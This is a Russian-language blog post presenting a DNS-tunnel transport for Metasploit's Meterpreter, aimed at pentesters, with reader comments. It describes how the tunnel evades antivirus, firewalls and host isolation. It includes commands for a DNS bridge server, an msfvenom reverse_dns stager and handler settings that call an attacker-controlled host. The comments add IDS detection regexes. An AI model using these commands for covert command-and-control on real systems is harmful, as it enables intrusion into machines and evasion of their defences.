Тема DNS туннеля для организации скрытного канала связи c командным сервером — (С2 или С&C) не нова, но мне многие годы не давало покоя одна вещь — отсутствовала реализация полнофункционального решения с пентестерской(хакерской) точки зрения (не считая кастомные вещи для себя). Не было удобного пути загрузки пейлода и контроля удаленного агента (трояна) в одном флаконе без использования сторонних сервисов типа Iodine или DNSCat2, которые не были созданы для скрытного прибывания в системе и делали много локального шума: открывали TCP порты, открывали активные соединения самостоятельно и вообще висели отдельным процессом, и все это характеризуется одним словом — «палево».

Год назад, мы в рамках нашей DEF CON группы DC7812, чисто ради «fun and profit» и для пользы сообщества, задались задачей решить эту проблему, и сделать нормальный DNS туннель в транспорте Metasploit для Meterpreter агента (пока только для MS Windows). Другими словами, что бы Meterpreter сам использовал этот туннель, нативным образом. Очевидно, что это же подразумевало и создание stager нагрузки (шеллкодов), что бы этот самый meterpreter (или иной другой пейлод MSF) грузить по тому же DNS прям из засплойченого процесса. Таким образом мы будем иметь стандартную нативную поддержку транспорта, что добавит дополнительные возможности пентестерам. Ну и я рад сообщить, что мы закончили разработку и теперь любой может это использовать или хотя бы потестить. Под катом можно почитать про интересные фичи и возможности нашей разработки (о чем мы рассказывали на конференции ZeroNights прошедшей в Москве в Ноябре).


Meterpreter — довольно известный и популярный агент удаленного контроля в составе фреймворка Metasploit. Данный агент является довольно гибким и удобным, с кучей модулей и плагинов и типа API, что позволяет создать свои плагины и модули. Но к сожалению такие фичи как транспорт являются частью core-движка, и это означает, что модулем мы тут не отделаемся. На данный момент Meterpreter поддерживает следующие виды транспорта «сетевого» уровня:

  • Binding TCP port
  • Reverse connection over TCP/IP
  • Reverse connection over HTTP

Разработанные компоненты


В текущей нашей версии «pre-release» мы сделали поддержку DNS транспорта только для OS Windows (для x64 и x86), который реализован в следующих компонентах:


DNS MSF Bridge — один из ключевых компонентов системы. По сути это Python скрипт, который работает как DNS сервис, который будет отвечать за резолв имен и возвращать агенту данные в виде RR записей. Этот интерфейс и есть суть организации DNS тунеля для шеллкода или агента Meterpreter. Одновременно, этот же сервис будет открывать обычный TCP порт, для коннекта со стороны Metasploit консоли, по обычному TCP. Таким образом пентестеру не надо думать как сделать MSF хэндлер и лептоп доступным для DNS. Вся задача сводиться к тому, что бы кинуть этот скрипт на своем сервере (AWS Ec2), завести на него свой домен, NS записи и не париться откуда и как работает пентестер — крайне удобно (на мой вкус). Кроме того, это решение позволяет работать нескольким пентестерам с одним DNS, но с разными нагрузками одновременно. Текущая версия поддерживает до 26 одновременно открытых meterpreter сессий. На данный момент у нас нет нативной поддержки DNS сервиса на Ruby в самом MSF, но работа над ним уже ведется силами Metasploit сообщества (а конкретно RageLtMan).


Сам же туннель организован через два типа RR записей (на выбор): DNSKEY RR and AAAA RR. Это значит что все эти реализации запилины во всех компонентах, включая шеллкоды.


Собственно работа транспорта выглядит так: MSF хендлер (пентестер) конектится на наш сервис, шлет пейлод (например тело meterpreter) в наш ДНС и ждет… Затем, условно, срабатывает где-то и кого-то эксплойт и наш шеллкод, используя DNS туннель, выкачивает meterpreter, запускает его в контексте того же процесса, и уже сам meterpreter, используя тот же транспорт и DNS, организует дуплексную связь c MSF хендлером (пентестером). Далее пентестер может делать, что угодно — мигрировать в другой процесс, открывать интерактивный командный шелл, юзать mimikatz и тд и тп — все это будет скрыто нашим туннелем. На всем этапе killchain (после эксплуатации) мы используем один и тот же транспорт и нам не надо заливать на целевую машину доп бинарные файлы DNScat2 или запускать Powershell, мы с самого начала скрыты туннелем. Кроме того у нас нет overhead по туннелированию самого TCP/IP (заголовков), только TLV пакеты meterpreter и данные.

Отдельно добавлю пару слов про организацию туннеля со стороны шеллкода и meterpreter. Если, например, DNSCat2 использует собственно реализацию резолва имен (то есть он сам реализует TCP/UDP соединение), то в нашем случае мы используем Windows API: DnsQuery, что позволяет переложить реализацию сетевого соединения на MS DNSCache, то есть сетевое соединение будет реализовано непосредственно svchost.exe, а не взломанным процессом или бекдором (meterpreter). Это очень хорошая «фича», которая позволит обойти ряд проблем с EPP/AV и personal firewall, которые активно работают на рабочей станции «жертвы», и мониторят новые подозрительные соединения. Так это выглядит:



Соединений не видно, +5 к невидимости 8)

Ну и классическая тема туннеля — соединение в любом случае идет не в сеть Интернет, а с локальным DNS сервером, то есть с роутером или что там будет прописано в корп сети (AD). Фактически это так же позволяет получить контроль над машинами, которые не могут прямо ходить в Инет. Отдельно тут я могу вспомнить, что в моем опыте были истории, когда это вытягивало пентсет — сплойт c DNS туннель трапоспортом для пейлода, позволял засылать по e-mail письма и получать пробивы с целей в «особо изолированных зонах». Кроме того, недавно я тестил фичу одного NextGen продукта — «изоляция скомпрометированного хоста», так вот meterpreter c DNS туннелям эта изоляция оказалось ни по чем 8) Короче много бонусов и плюшек, но есть и негативная сторона — скорость и сетевые аномалии. Про скорость — она зависит сильно от окружения и локального ДНС, и может очень сильно варьироваться. Я делал замеры в домашней сети и в корп. сети и вот такие результаты:

Upload
   base32 — от 1 KB/sec до 4 KB/sec
Downlink
   AAAA — от 4 KB/sec до 16 KB/sec
   DNSKEY — от 86 KB/sec до 660 KB/sec

Как видно, использования DNSKEY туннеля дает очень приличную скорость. Шеллкод закачивает тело в момент сплойтинга за 2 секунды, это приемлемо на мой вкус очень даже. Тем не менее случаются мелкие пролаги и залипы в целом (по опыту). AAAA туннель более незаметный с одной стороны = более фрагментированные запросы, да и сами запросы AAAA не редкость в логах.

HowTo


  • git clone и budle install github.com/defcon-russia/metasploit-framework
  • Нужно иметь домен, покороче, что то типа: msf.ws
  • Нужно место для хостинга с статик IP (скажем IP 1.2.3.4)
  • Настроим NS записи на msf.ws и наш IP
  • Зальем DNS MSF Bridge на сервак и запустим

      
./dns_server.py --ipaddr 1.2.3.4 --domain msf.ws

  • Подготовим stager пейлод (шеллкод)

      
./msfvenom -p windows/meterpreter/reverse_dns DOMIAN=msf.ws RHOST=1.2.3.4

  • Замутим сплойт с нашим шеллкодом
  • Запустим MSF handler

use exploit/multi/handler
set payload windows/meterpreter/reverse_dns
set DOMAIN msf.ws
set RHOST 1.2.3.4
run

  • Доставим сплойт до цели и ждём сессий

Планы на будущее

Главная задача, которая делается сейчас — это мерджинг в основную ветку MSF, то есть наша задача, сделать этот транспорт не просто форком, а сделать частью Metasploit. Процесс уже идет и спасибо RageLtMan за то, что взялся за эту часть работы, которая включает в себя и создание нативного хэндлера DNS. Мы думаем, что в следующем году это уже не будет просто клевым фороком, а станет частью проекта.

Как только этот транспорт станет частью проекта «официально», можно начинать думать над разными фичами:

  • XOR encryption для stager
  • Powershell/VBS stagers
  • Поддержка других платформ и OS
  • Больше видов DNS тунелей: TXT, NULL и тд

Если есть желание поучаствовать в чем-то таком, пишите нам.

В любом случае, всегда можно поговорить об этих и других интересных задачах на IRC (freenode.org #Metasploit, за туннел там спрашивайте max3raza и RageLtMan).

Если вообще интересна тема ИБ, то у нашей группы DC 7812 telegram чат
t.me/DCG7812 иногда мы проводим встречи группы и онлайн-стримы, если есть идеи или хочется поучаствовать в движухе — welcome!..

Исходники проекта (форк MSF с нашими фичами):

https://github.com/defcon-russia/metasploit-framework
https://github.com/defcon-russia/metasploit-payloads

Слайды с ZeroNights.

Демо-видео:

Комментарии (5)


  1. Spewow
    20.12.2017 09:52

    Популярными сигнатурами ids (et, talos) канал ловится?


    1. d00kie Автор
      20.12.2017 13:05

      Те IDS/TDS (включая NextGen) что я тестил не ловили вообще никак. Но сделать сигнатуру под формат запроса и резолва довольно просто.

      Однако, должен сказать, что был у одной из них и детект однажды. Одна IDS словила момент работы шеллкода, когда тот дампил тело metsrv.dll через DNSKEY туннель. Но ИДС словила не сам ДНС канал, а заголовок дллки metsrv в общем сетевом трафике (ей все равно где ловить, просто есть сигнатура самой дллки), а DNSKEY шлет пейлод большими кусками за один присест. Та же ИДС, но уже с шеллкодом IPv6 (AAAA) не поймала тот же бинарь, ибо AAAA более фрагментирован (по формату данных спрятанных в IP).


      1. Spewow
        20.12.2017 13:15

        Можете привести пример запроса и резолва? За что зацепиться правилу детекта?


        1. d00kie Автор
          20.12.2017 14:12

          Я бы все же ловил DNS туннель не статической сигнатурой, а статистическим анализом логов (аномалии запросов/резолвов).

          Но если говорить про эту конкретную реализацию и простую сигнатуру, то можно палить, например, так (для доменного имени):

          ^t\.(\w+\.)+(\d+)\.(\d+)\.(\w)\.

          и еще так
          ^7812\.reg0\.\d+\.(\w+)\.


  1. jamm1985
    20.12.2017 12:09

    Нормально!!!